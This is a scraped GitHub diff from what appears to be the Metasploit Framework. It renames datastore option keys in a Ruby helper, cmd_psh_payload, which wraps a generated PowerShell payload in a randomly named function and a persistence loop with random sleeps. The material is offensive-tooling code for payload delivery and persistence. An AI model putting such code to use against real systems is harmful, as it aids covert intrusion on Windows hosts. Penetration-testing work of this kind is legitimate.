File tree Expand file tree Collapse file tree 1 file changed +2
-2
lines changed Expand file tree Collapse file tree 1 file changed +2
-2
lines changed Original file line number Diff line number Diff line change @@ -131,15 +131,15 @@ def run_hidden_psh(ps_code,ps_bin='powershell.exe')
131
131
#
132
132
# Creates cmd script to execute psh payload
133
133
#
134
- def cmd_psh_payload ( pay , old_psh = datastore [ 'PSH::OLD_METHOD ' ] , wow64 = datastore [ 'PSH:: RUN_WOW64' ] )
134
+ def cmd_psh_payload ( pay , old_psh = datastore [ 'PSH_OLD_METHOD ' ] , wow64 = datastore [ 'RUN_WOW64' ] )
135
135
# Allow powershell 1.0 format
136
136
if old_psh
137
137
psh_payload = Msf ::Util ::EXE . to_win32pe_psh ( framework , pay )
138
138
else
139
139
psh_payload = Msf ::Util ::EXE . to_win32pe_psh_net ( framework , pay )
140
140
end
141
141
# Run our payload in a while loop
142
- if datastore [ 'PSH:: PERSIST' ]
142
+ if datastore [ 'PERSIST' ]
143
143
fun_name = Rex ::Text . rand_text_alpha ( rand ( 2 ) +2 )
144
144
sleep_time = rand ( 5 ) +5
145
145
psh_payload = "function #{ fun_name } {#{ psh_payload } };"
You can’t perform that action at this time.
0 commit comments